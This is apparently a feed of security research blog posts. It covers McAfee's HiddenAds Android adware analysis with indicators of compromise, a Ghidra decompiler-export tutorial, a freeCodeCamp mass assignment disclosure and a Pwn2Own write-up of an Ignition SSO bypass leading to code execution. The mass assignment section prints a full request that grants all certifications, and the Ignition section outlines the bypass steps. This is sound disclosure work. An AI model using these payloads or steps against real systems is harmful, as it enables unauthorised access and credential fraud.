The first activity defined in the application tag in the manifest file is executed as soon as you install it just by declaring the metadata. The first activity of this malware will create a permanent malicious service for displaying advertisements.

Figure 7. Create a malicious service for displaying ads
Figure 7. Create a malicious service for displaying ads

In addition, the service process will generate immediately even if it is forced to kill.

Figure 8. Malicious service process that continues to generate
Figure 8. Malicious service process that continues to generate

Next, they change their icons and names using the <activity-alias> tag to hide.

Figure 9. Using <activity-alias> tags to change app icons and names
Figure 9. Using tags to change app icons and names

Users infected worldwide

It is confirmed that users have already installed these apps from 100K to 1M+. Considering that the malware works when it is installed, the installed number is reflected as the victim’s number. According to McAfee telemetry data, this malware and its variants affect a wide range of countries, including South Korea, Japan, and Brazil:

Figure 10. Top affected countries include South Korea, Japan, and Brazil
Figure 10. Top affected countries include South Korea, Japan, and Brazil

Conclusion

This malware is auto-starting malware, so as soon as the users download it from Google Play, they are infected immediately. And it is still constantly developing variants that are published by different developer accounts. Therefore, it is not easy for users to notice this type of malware.

We already disclosed this threat to Google and all reported applications were removed from the Play Store. Also, McAfee Mobile Security detects this threat as Android/HiddenAds and protects you from this type of malware. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com

Indicators of Compromise

Applications:

App Name Package Name Downloads
Junk Cleaner cn.junk.clean.plp 1M+
EasyCleaner com.easy.clean.ipz 100K+
Power Doctor com.power.doctor.mnb 500K+
Super Clean com.super.clean.zaz 500K+
Full Clean -Clean Cache org.stemp.fll.clean 1M+
Fingertip Cleaner com.fingertip.clean.cvb 500K+
Quick Cleaner org.qck.cle.oyo 1M+
Keep Clean org.clean.sys.lunch 1M+
Windy Clean in.phone.clean.www 500K+
Carpet Clean og.crp.cln.zda 100K+
Cool Clean syn.clean.cool.zbc 500K+
Strong Clean in.memory.sys.clean 500K+
Meteor Clean org.ssl.wind.clean 100K+

 

SHA256:

  • 4b9a5de6f8d919a6c534bc8595826b9948e555b12bc0e12bbcf0099069e7df90
  • 4d8472f0f60d433ffa8e90cc42f642dcb6509166cfff94472a3c1d7dcc814227
  • 5ca2004cfd2b3080ac4958185323573a391dafa75f77246a00f7d0f3b42a4ca3
  • 5f54177a293f9678797e831e76fd0336b0c3a4154dd0b2175f46c5a6f5782e24
  • 7a502695e1cab885aee1a452cd29ce67bb1a92b37eed53d4f2f77de0ab93df9b
  • 64d8bd033b4fc7e4f7fd747b2e35bce83527aa5d6396aab49c37f1ac238af4bd
  • 97bd1c98ddf5b59a765ba662d72e933baab0a3310c4cdbc50791a9fe9881c775
  • 268a98f359f2d56497be63a31b172bfbdc599316fb7dec086a937765af42176f
  • 690d658acb9022765e1cf034306a1547847ca4adc0d48ac8a9bbdf1e6351c0f7
  • 75259246f2b9f2d5b1da9e35cab254f71d82169809e5793ee9c0523f6fc19e4b
  • a5cbead4c9868f83dd9b4dc49ca6baedffc841772e081a4334efc005d3a87314
  • c75f99732d4e4a3ec8c19674e99d14722d8909c82830cd5ad399ce6695856666

Domains:

  • http[://]hw.sdk.functionads.com:8100

The post New HiddenAds malware affects 1M+ users and hides on the Google Play Store appeared first on McAfee Blog.

Extracting Ghidra Decompiler Output with Python

28 July 2022 at 13:03

Ghidra’s decompiler, while not perfect, is pretty darn handy. Ghidra’s user interface, however, leaves a lot to be desired. I often find myself wishing there was a way to extract all the decompiler output to be able to explore it a bit easier in a text editor or at least run other tools against it.

At the time of this writing, there is no built-in functionality to export decompiler output from Ghidra. There are a handful of community made scripts available that get the job done (such as Haruspex and ExportToX64dbg), but none of these tools are as flexible as I’d like. For one, Ghidra’s scripting interface is not the easiest to work with. And two, resorting to Java or the limitations of Jython just doesn’t cut it. Essentially, I want to be able to access Ghidra’s scripting engine and API while retaining the power and flexibility of a local, fully-featured Python3 environment.

This blog will walk you through setting up a Ghidra to Python bridge and running an example script to export Ghidra’s decompiler output.

Prepping Ghidra

First and foremost, make sure you have a working installation of Ghidra on your system. Official downloads can be obtained from https://ghidra-sre.org/.

Next, you’ll want to download and install the Ghidra to Python Bridge. Steps for setting up the bridge are demonstrated below, but it is recommended to follow the official installation guide in the event that the Ghidra Bridge project changes over time and breaks these instructions.

The Ghidra to Python bridge is a local Python RPC proxy that allows you to access Ghidra objects from outside the application. A word of caution here: Using this bridge is essentially allowing arbitrary code execution on your machine. Be sure to shutdown the bridge when not in use.

In your preferred python environment, install the ghidra bridge:

$ pip install ghidra_bridge

Create a directory on your system to store Ghidra scripts in. In this example, we’ll create and use “~/ghidra_scripts.”

$ mkdir ~/ghidra_scripts

Launch Ghidra and create a new project. Create a Code Browser window (click the dragon icon in the tool chest bar) and open the Script Manager window. This can be opened by selecting “Window > Script Manager.” Press the “Manage Script Directories” in the Script Manager’s toolbar.

In the window that pops up, add and enable “$USER_HOME/ghidra_scripts” to the list of script directories.

Back in your terminal or python environment, run the Ghidra Bridge installation process.

$ python -m ghidra_bridge.install_server ~/ghidra_scripts

This will automatically copy over the scripts necessary for your system to run the Ghidra Bridge.

Finally, back in Ghidra, click the “Refresh Script List” button in the toolbar and filter the results to “bridge.”. Check the boxes next to “In Toolbar” for the Server Start and Server Shutdown scripts as pictured below. This will allow you to access the bridge’s start/stop commands from the Tools menu item.

Go ahead and start the bridge by selecting “Run in Background.” If all goes according to plan, you should see monitor output in the console window at the bottom of the window similar to the following:

Using the Ghidra Bridge

Now that you’ve got the full power and flexibility of Python, let’s put it to some good use. As mentioned earlier, the example use-case being provided in this blog is the export of Ghidra’s decompiler output.

Source code for this example is available here: https://github.com/tenable/ghidra_tools/tree/main/extract_decomps

We’ll be using an extremely simple application to demonstrate this script’s functionality, which is available in the “example” folder of the “extract_decomps” directory. All the application does is grab some input from the user and say hello.

Build and run the test application.

$ gcc test.c
$ ./a.out
What is your name?
# dino
Hello, dino!

Import the test binary into Ghidra and run an auto-analysis on it. Once complete, simply run the extraction script.

$ python extract.py
INFO:root:Program Name: a.out
INFO:root:Creation Date: Tue Jul 26 13:51:21 EDT 2022
INFO:root:Language ID: AARCH64:LE:64:AppleSilicon
INFO:root:Compiler Spec ID: default
INFO:root:Using 'a.out_extraction' as output directory…
INFO:root:Extracting decompiled functions…
INFO:root:Extracted 7 out of 7 functions
$ tree a.out_extraction
a.out_extraction
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
├── [email protected]
└── [email protected]

From here, you’re free to browse the source code in the text editor or IDE of your choice and run any other tools you see fit against this output. Please keep in mind, however, that the decompiler output from Ghidra is intended as pseudo code and won’t necessarily conform to the syntax expected by many static analysis tools.


Extracting Ghidra Decompiler Output with Python was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hunting For Mass Assignment Vulnerabilities Using GitHub CodeSearch and grep.app

This post discusses the process of searching top GitHub projects for mass assignment vulnerabilities. This led to a fun finding in the #1 most starred GitHub project, freeCodeCamp, where I was able to acquire every coding certification – supposedly representing over 6000 hours of study – in a single request.

Searching GitHub For Vulnerabilities

With more than 200 million repositories, GitHub is by far the largest code host. While the vast majority of repositories contain boilerplate code, forks, or abandoned side projects, GitHub also hosts some of the most important open source projects. To some extent Linus’s law – “given enough eyeballs, all bugs are shallow” – has been empirically shown on GitHub, as projects with more stars also had more bug fixes. We might therefore expect the top repositories to have a lower number of security vulnerabilities, especially given the incentives to find vulnerabilities such as bug bounties and CVE fame.

Undeterred by Linus’s law, I wanted to see how quickly I could find a vulnerability in a popular GitHub project. The normal approach would be to dig into the code of an individual project, and learn the specific conventions and security assumptions behind it. Combine with a strong understanding of a particular vulnerability class, such as Java deserialization, and use of code analysis tools to map the attack surface, and we have the ingredients to find fantastic exploits which everyone else missed such as Alvaro Munoz’s attacks on Apache Dubbo.

However, to try and find something fast, I wanted to investigate a “wide” rather than a “deep” approach of vuln-hunting. This was motivated by the beta release of GitHub’s new CodeSearch tool. The idea was to find vulnerabilities through querying for specific antipatterns across the GitHub project corpus.

The vulnerability class I chose to focus on was mass assignment, I’ll describe why just after a quick refresher.

Mass Assignment

A mass assignment vulnerability can occur when an API takes data that a user provides, and stores it without filtering for allow-listed properties. This can enable an attacker to modify attributes that the user should not be allowed to access.

A simple example is when a User model contains a “role” property which specifies whether a user has admin permissions; consider the following User model:

  • name
  • email
  • role

And a user registration function which saves all attributes specified in the request body to a new user instance:

exports.register = (req, res) => {
  user = new User(req.body);
  user.save();}

A typical request from a frontend to this endpoint might look like:

POST /users/register

{
  "name": "test",
  "email": "[email protected]"
}

However, by modifying the request to add the “role” property, a low-privileged attacker can cause its value to be saved. The attacker’s new account will gain administrator privileges in the application:

{
"name": "test",
"email": "[email protected]",
"role": "admin"
}

The mass assignment bug class is #6 on the OWASP API Security Top 10. One of the most notorious vulnerability disclosures, back in 2012, was when researcher Egar Homakov used a mass assignment exploit against GitHub to add his own public key to the Ruby on Rails repository and commit a message directly to the master branch.

Why Mass Assignment?

This seemed like a good vulnerability class to focus on, for several reasons:

  • In the webapp assessments we do, we often find mass assignments, possibly because developers are less aware of this type of vuln compared to e.g. SQL injection.
  • They can be highly impactful, enabling privilege escalation and therefore full control over an application.
  • The huge variety of web frameworks have different ways of preventing/addressing mass assignment.
  • As in the above example, mass assignment vulns often occur on a single, simple line of code, making them easier to search for.

Mass Assignment in Node.js

Mass assignment is well known in some webdev communities, particularly Ruby On Rails. Since Rails 4 query parameters must be explicitly allow-listed before they can be used in mass assignments. Additionally, the Brakeman static analysis scanner has rules to catch any potentially dangerous attributes that have been accidentally allow-listed.

Therefore, it seemed worthwhile to narrow the scope to the current web technologies du jour, Node.js apps, frameworks, and object-relational mappers (ORMs). Among these, there’s a variety of ways that mass assignment vulnerabilities can manifest, and less documentation and awareness of them in the community.

To give examples of different ways mass assignment can show up, in the Mongoose ORM, the findOneAndUpdate() method could facilitate a mass assignment vulnerability if taking attributes directly from the user:

const filter = {_id: req.body.id};
const update = req.body;
const updatedUser = await User.findOneAndUpdate(filter, update);

In the sophisticated Loopback framework, model access is defined in ACLs, where an ACL like the following on a user model would allow a user to modify all their own attributes:

{
"accessType": "*",
"principalType": "ROLE",
"principalId": "$owner",
"permission": "ALLOW",
"property": "*"
},

In the Adonis.js framework, any of the following methods could be used to assign multiple attributes to an object:

User.fill(), User.create(), User.createMany(), User.merge(), User.firstOrCreate(), User.fetchOrCreateMany(), User.updateOrCreate(), User.updateOrCreateMany()

The next step was to put together a shortlist of potentially-vulnerable code patterns like these, figure out how to search for them on GitHub, then filter down to those instances which actually accept user-supplied input.

Limitations of GitHub Search

GitHub’s search feature has often been criticized, and does not feel like it lives up to its potential. There are two major problems for our intended use-case:

  1. Global code searches of GitHub turns up an abundance of starter/boilerplate projects that have been abandoned years ago, which aren’t relevant. There is a “stars” operator to only return popular projects, e.g. stars:>1000, but it only works when searching metadata such as repository names and descriptions, not when searching through code.
  2. The following characters are ignored in GitHub search: .,:;/\`'"=*!?#$&+^|~<>(){}[]@. As key syntactical characters in most languages, it’s a major limitation that they can’t be searched for.

The first two results when searching for “user.update(req.body)” illustrate this:

The first result looks like it might be vulnerable, but is a project with zero stars that has had no commits in years. The second result is semantically different than what we searched. Going through all 6000+ results when 99% of the results are like this is tedious.

These restrictions previously led some security researchers to use Google BigQuery to run complex queries against the 3 terabyte GitHub dataset that was released in 2016. While this can produce good results, it doesn’t appear that the dataset has been updated recently. Further, running queries on such a large amount of data quickly becomes prohibitively expensive.

GitHub CodeSearch

GitHub’s new CodeSearch tool is currently available at https://cs.github.com/ for those who have been admitted to the technology preview. The improvements include exact string search, an increased number of filters and boolean operators, and better search indexing. The CodeSearch index right now includes 7 million public repositories, chosen due to popularity and recent activity.

Trying the same query as before, the results load a lot faster and look more promising too:

The repositories showing up first actually have stars, however they all have less than 10. Unfortunately only 100 results are currently returned from a query, and once again, none of the repositories that showed up in my searches were particularly relevant. I looked for a way to sort by stars, but that doesn’t exist. So for our purposes, CodeSearch solves one of the problems with GitHub search, and is likely great for searching individual codebases, but is not yet suitable for making speculative searches across a large number of projects.

grep.app

Looking for a better solution, I stumbled across a third-party service called grep.app. It allows exact match and regex searches, and has only indexed 0.5 million GitHub repositories, therefore excluding a lot of the noise that has clogged up the results so far.

Trying the naïve mass assignment search once again:

Only 22 results are returned, but they are high-quality results! The first repo shown has over 800 stars. I was excited – finally, here was a search engine which could make the task efficient, especially with regex searches.

With the search space limited to top GitHub projects, I could now search for method names and get a small enough selection of results to scan through manually. This was important as “req.body” or other user input usually gets assigned to another variable before being used in a database query. To my knowledge there is no way to express these data flows in searches. CodeQL is great for tracking malicious input (taint tracking) over a small number of projects, but it can’t be used to make a “wide” query across GitHub.

Mass Assignment In FreeCodeCamp

Searching for “user.updateAttributes(“, the first match was for freeCodeCamp, the #1 most starred GitHub project, with over 350k stars:

Looking at the code in the first result, we appeared to have a classic mass assignment vulnerability:

function updateUserFlag(req, res, next) {
const { user, body: update } = req;
return user.updateAttributes(update, createStandardHandler(req, res, next));
}

Acquiring All Certifications on freeCodeCamp

The next step was to ensure that this function could be reached from a public-facing route within the application, and it turned out to be as simple as a PUT call to /update-user-flag: a route originally added in order that you could change your theme on the site.

I created an account on freeCodeCamp’s dev environment, and also looked at the user model in the codebase to find what attributes I could maliciously modify. Although freeCodeCamp did not have roles or administrative users, all the certificate information was stored in the user model.

Therefore, the exploit simply involved making the following request:

PUT /update-user-flag HTTP/2
Host: api.freecodecamp.dev
Cookie: _csrf=lsCzfu4[...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.freecodecamp.dev/
Csrf-Token: Tu0VHrwW-GJvZ4ly1sVEXjHxSzgPLLj99OLQ
Content-Type: application/json
Origin: https://www.freecodecamp.dev
Content-Length: 518
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers

{
  "name": "Mass Assignment",
  "isCheater": false,
  "isHonest": true,
  "isInfosecCertV7":true,
  "isApisMicroservicesCert":true,
  "isBackEndCert":true,
  "is2018DataVisCert":true,
  "isDataVisCert":true,
  "isFrontEndCert":true,
  "isFullStackCert":true,
  "isFrontEndLibsCert":true,
  "isInfosecQaCert":true,
  "isQaCertV7":true,
  "isInfosecCertV7":true,
  "isJsAlgoDataStructCert":true,
  "isRelationalDatabaseCertV8":true,
  "isRespWebDesignCert":true,
  "isSciCompPyCertV7":true,
  "isDataAnalysisPyCertV7":true,
  "isMachineLearningPyCertV7":true
}

After sending the request, a bunch of signed certifications showed up on my profile, each one supposedly requiring 300 hours of work.

Some aspiring developers use freeCodeCamp certifications as evidence of their coding skills and education, so anything that calls into question the integrity of those certifications is bad for the platform. There are certainly other ways to cheat, but those require more effort than sending a single request.

I reported this to freeCodeCamp, and they promptly fixed the vulnerability and released a GitHub security advisory.

Conclusion

Overall, it turned out that a third-party service, grep.app, is much better than both GitHub’s old and new search for querying across a large number of popular GitHub projects. The fact that we were able to use it to so quickly discover a vuln in a top repository suggests there’s a lot more good stuff to find. The key was to be highly selective so as to not get overwhelmed by results.

I expect that GitHub CodeSearch will continue to improve, and hope they will offer a “stars” qualifier by the time the feature reaches general availability.

The post Hunting For Mass Assignment Vulnerabilities Using GitHub CodeSearch and grep.app appeared first on Include Security Research Blog.

Pwn2Own Miami 2022: Inductive Automation Ignition Remote Code Execution

22 July 2022 at 00:00

This write-up is part 2 of a series of write-ups about the 5 vulnerabilities we demonstrated last April at Pwn2Own Miami. This is the write-up for a Remote Code Execution vulnerability in Inductive Automation Ignition, by using an authentication bypass (CVE-2022-35871).

Conformed! @daankeuper and @xnyhps from Computest Sector 7 (@sector7_nl) used a missing authentication for critical function vuln to execute code on Inductive Automation Ignition . They win $20,000 and 20 Master of Pwn points. #Pwn2Own #P2O

— Zero Day Initiative (@thezdi) April 19, 2022

The cause of this vulnerability was a weak authentication implementation when using Active Directory single sign-on. We combined this with intended(?) functionality that allowed us to execute Python code on the server (as SYSTEM).

Background

Inductive Automation Ignition is an application that was part of in the “Control Server” category. Control servers are used to supervise and communicate with lower-level devices, such as PLCs. This makes them a critical element in any ICS network.

Ignition is organized in different projects, which are managed using a web interface. Each project needs a user source which determines the authentication and authorization for that project. Authentication can be internal, using a database, or based on Active Directory (which has some sub-options that determine how authorization is handled). The projects can then be used from Ignition Perspective, a desktop application which communicates with the Ignition server through the gateway API.

When one of the AD based user sources is configured, it offers an option named “SSO Enabled”.

To configure an AD based user source, the server needs to be configured with an AD account, the IP address of a domain controller and the Active Directory domain name. The AD account is used to set up an LDAP connection to the AD server for the application itself.

Vulnerability

Auth bypass

While, looking at the decompiled Java code (Ignition/lib/core/gateway/gateway-api-8.1.16.jar) for how the SSO authentication is handled in the gateway API, we noticed that the function implementing SSO is a lot simpler than we expected.

com.inductiveautomation.ignition.gateway.authentication.impl.ActiveDirectoryUserSource.class:

protected AuthenticatedUser authenticateAdSso(AuthChallenge challenge) throws Exception {
    String ssoUname = (String)challenge.get(User.Username);
    String ssoDomain = (String)challenge.get(ADSSOAuthChallenge.ADDomain);
    if (StringUtils.isBlank(ssoUname)) {
      this.log.debug("SSO username is blank.");
      return null;
    } 
    if (StringUtils.isBlank(ssoDomain)) {
      this.log.debugf("SSO domain is blank for user '%s'", new Object[] { ssoUname });
      return null;
    } 
    if (ssoDomain.equalsIgnoreCase(this.domain)) {
      User existingUser = this.userSource.findSSOUser(ssoUname);
      if (existingUser != null)
        return (AuthenticatedUser)new BasicAuthenticatedUser(existingUser, new Date()); 
      this.log.debug(String.format("Existing user was not found for username '%s'", new Object[] { ssoUname }));
    } else {
      this.log.debug(String.format("SSO domains did not match! Compared '%s' and '%s'", new Object[] { this.domain, ssoDomain }));
    } 
    return null;
  }

This function receives an AuthChallenge object (essentially a JSON dictionary). It checks that it contains a key for the username and a key for the SSO domain. Then it compares the value for the SSO domain to the configured Active Directory domain name. If it matches, it looks up the username using LDAP and, if found, returns it as an AuthenticatedUser object.

There’s no check here for a password, token, signature, or anything like that. The only data that needs to be submitted to the server is the username and the Active Directory domain name. In other words, the vulnerability here is that there is no SSO implementation at all! It’s not even clear to us what type of SSO was intended to be used here, probably Kerberos?

RCE

To go from an authenticated user to code execution, we used what we assume is intended functionality that allows us to evaluate Python on the server. There is a ScriptInvoke gateway API endpoint with an execute function. Authenticated users can submit Python code to this endpoint, which is executed on the server with the same privileges as the server (on Windows, this is SYSTEM). Ignition Designer offers the ability to execute scripts on the server in response to specific events or regular intervals. This does not appear to require any special role or permissions, so this design looks risky to us, but it does seem to function as designed.

Exploit

To exploit the auth bypass, the server needs to be configured using AD authentication with SSO enabled. To perform the attack, we need the following information:

  1. The name of a project using this authentication method.
  2. The name of an existing AD user.
  3. The name of the AD domain.

It turns out that the first two were easy to do. There is an unauthenticated API endpoint on the admin interface returning the list of all projects:

http://<server IP>/data/perspective/projects

For the username, this simply had to be any existing AD user, regardless of permissions in AD or Ignition. So, we could just use “Administrator”, as that user will always exist in AD.

This only leaves the AD domain name, which we didn’t find a way to obtain automatically from Ignition. In practice, that value should be easy to obtain when attacking a company, especially if the attacker is already on the company’s internal network. In most cases this would just be the company’s primary domain name, or the value might leak in email headers, file metadata, etc.

Finally, we used a reverse shell implemented in Python to setup a connection back to our attacker machine.

Impact

Exploiting these vulnerabilities would grant us code execution on the machine hosting Ignition. This means that we could immediately manipulate or disrupt any process handled by or via this server. For example, we might be able to take over the communication with PLCs. In addition, the SYSTEM privileges would make it a fantastic starting point for further attacks other parts of the ICS or IT network.

In most cases, the Ignition server will not be exposed publicly to the internet, but only available on the internal ICS network. Therefore, this vulnerability would need to be combined with different vulnerabilities or attacks that grant us access to that network.

The fix

This vulnerability was addressed by Inductive Automation in versions 8.1.17 and 7.9.20 and assigned CVE-2022-35871. AD User Sources now disable the “SSO Enabled” setting automatically, unless a specific flag is set on the server (-Dignition.enableInsecureAdSso=true). In other words, Inductive Automation has chosen to deprecate this feature and documented that it is dangerous to use. This may seem like a disappointing fix, but implementing a secure SSO protocol would likely have taken a lot more time. This way the vulnerability can be avoided and, if desired, Inductive Automation could implement a secure SSO protocol without time pressure.

Thoughts

When implementing security critical features (such as authentication), it is important to make a good design first. When authentication is combined with single sign-on and native applications this is even more important, as it can become very complex. With such a design, it becomes possible to catch mistakes before the features are implemented and to test each part separately.

While we of course don’t know how this feature was built, we suspect no such design was created. Having a cryptographic protocol like Kerberos completely missing from the implementation should be quite obvious if the feature had been fully designed first.

Features allowing users to execute their own code on a server can be required in certain use-cases. However, the fact that this was available for a user who did not have any permissions or roles explicitly assigned to them is worrisome. This means that any authentication bypass immediately becomes an RCE vulnerability.

Conclusion

We’ve demonstrated a remote code execution vulnerability against Inductive Automation Ignition. We found that authentication can be bypassed on a server with AD single sign-on enabled. The (cryptographic) protocol for handling single sign-on appears to not be implemented at all.

After bypassing the authentication, we used functionality of the server to execute arbitrary Python code with SYSTEM privileges to set up a reverse shell.

Big shout-out to Inductive Automation on handling this years edition of Pwn2Own! They published all details of all findings on their website, including a extensive write-up of their thoughts and fixes. Well done!

We thank Zero Day Initiative for organizing this years edition of Pwn2Own Miami, we hope to return to a later edition!

You can find the other four write-ups here:

Gitlab Project Import RCE Analysis (CVE-2022-2185)

21 July 2022 at 00:00
At the beginning of this month, GitLab released a security patch for versions 14->15. Interestingly in the advisory, there was a mention of a post-auth RCE bug with CVSS 9.9. The bug exists in GitLab’s Project Imports feature, which was found by @vakzz. Incidentally, when I rummaged in the author’s h1 profile. I discovered that four months ago, he also found a bug in the import project feature: Initially, I thought it was tempting after seeing the bounty, so I started learning Rails and debugged this bug!

io_uring - new code, new bugs, and a new exploit technique

24 June 2022 at 00:00
For the past few weeks, I have been working on conducting N-day analysis and bug hunting in the io_uring subsystem of the Linux kernel with the guidance of my mentors, Billy and Ramdhan. In this article, I will briefly discuss the io_uring subsystem, as well as my approach to discovering and developing a new kernel exploit technique during my N-day analysis of CVE-2021-41073. I will also discuss two bugs I found while analyzing a new io_uring feature.

Trying To Exploit A Windows Kernel Arbitrary Read Vulnerability

7 June 2022 at 00:00
Introduction I recently discovered a very interesting kernel vulnerability that allows the reading of arbitrary kernel-mode address. Sadly, the vulnerability was patched in Windows 21H2 (OS Build 22000.675), and I am unsure of the CVE being assigned to it. In this short blog post, I will share my journey of trying to exploit this vulnerability. Although I didn’t finish the exploit in the end, I have decided to share this with everyone anyway.

New Wine in Old Bottle - Microsoft Sharepoint Post-Auth Deserialization RCE (CVE-2022-29108)

12 May 2022 at 00:00
Introduction Recently, I have had a some work which is related to Sharepoint, so I was learning on how to setup and debug old bugs of Sharepoint. In February, there was a Deserialization bug CVE-2022-22005 (post-auth of course). There is already a detailed analysis blog post about that written by a Vietnamese guy (here). The blog is written with great enthusiasm and detail. I also rely on the details in that blog to setup and debug.
❌
❌